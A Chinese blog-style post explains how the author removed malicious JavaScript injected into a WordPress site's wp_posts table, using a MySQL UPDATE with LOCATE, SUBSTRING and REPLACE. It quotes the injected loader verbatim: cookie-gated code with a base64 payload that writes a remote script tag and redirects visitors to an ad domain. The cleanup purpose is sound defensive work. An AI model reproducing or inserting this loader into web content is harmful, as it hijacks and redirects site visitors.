当前位置: 首页 > 编程笔记 >

MySQL批量替换HTML标签

陶柏
2023-03-14
本文向大家介绍MySQL批量替换HTML标签,包括了MySQL批量替换HTML标签的使用技巧和注意事项,需要的朋友参考一下

1 前因

前段时间维护的一个WordPress小网站被黑,分析源码发现内容中多出了一段JavaScript代码

<!--codes_iframe--><script type="text/javascript"> function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('<script src="'+src+'"><\/script>')} </script><!--/codes_iframe-->

访问页面的时候,会跳转到黑客的广告页面:

https://cobalten.com/afu.php?zoneid=1365143&var=1460425

经过追踪,最后发现是在MySQL中被注入了以上代码,所以需要在wp_posts表中把这些内容都替换掉

(当然后来加强了这个网站的安全防范)

2 解决

我们知道MySQL中无法用正则替换,后来在一个博客中找到解决方法,博客链接放在文末。

具体语句如下:

update wp_posts set post_content = replace(
	post_content,
	substring(
		post_content,
		locate('<!--codes_iframe-->', post_content),
		locate('<!--/codes_iframe-->', post_content) + LENGTH('<!--/codes_iframe-->') - locate('<!--codes_iframe-->', post_content)
	),
	''
 );

为了好看,语句加了格式化。

执行一下问题解决了。

3 用到函数

  • LOCATE(substr, str):返回子串 substr 在字符串 str 中第一次出现的位置。如果子串 substr 在 str 中不存在,返回值为 0。
  • SUBSTRING(str, pos, len):由<str>中的第<pos>位置开始,选出接下去的<len>个字元。
  • replace(str1, str2, str3):在字段 str1 中,替换 str2 为 str3。
  • leght(str):返回字符串的长度

 

参考资料:

  1. mysql 正则表达式替换内容
 类似资料:
  • 有没有办法做到这一点?

  • 这是我的密码 我想替换字体标签,并把span标签。在这将取代第一个字体标签但不是第二个标签

  • 问题 你需要使用命名实体来替代 HTML 标签: <br/> => &lt;br/&gt; 解决方案 htmlEncode = (str) -> str.replace /[&<>"']/g, ($0) -> "&" + {"&":"amp", "<":"lt", ">":"gt", '"':"quot", "'":"#39"}[$0] + ";" htmlEncode('<a hr

  • 问题内容: 在我的数据库中,contenfields具有许多内部链接。我必须将链接结构从www.mydomain.de/page.html更改为www.mydomain.de/page/,但是replace语句应尊重该域: 这是预期将被替换的内容: 所有其他链接都应保持不变,此处提供一些示例,但也可以是网络上的任何链接: 一个内容字段中可以有不同的链接: 这是在做替换: 我的想法(但不知道如何为它

  • 问题内容: 由于HTML5中不推荐使用HTML中的标记(我理解为什么),有没有一种将某些属性和样式仅应用于段落文本 部分 的干净解决方案?我使用JavaScript来解析XML文件,该事实依赖于标签允许使用基于类的CSS格式化部分包装文本的事实。我意识到“ anchor”()标记也可以用于此目的,但是这种方式看起来非常落后且不自然。 编辑 当我问这个问题时(几年前),我未能理解每个DOM元素都属于

  • 我在这里做错了什么: 我一直在 但这很好: 显然我想避免 没有也不行,我的jstl不知道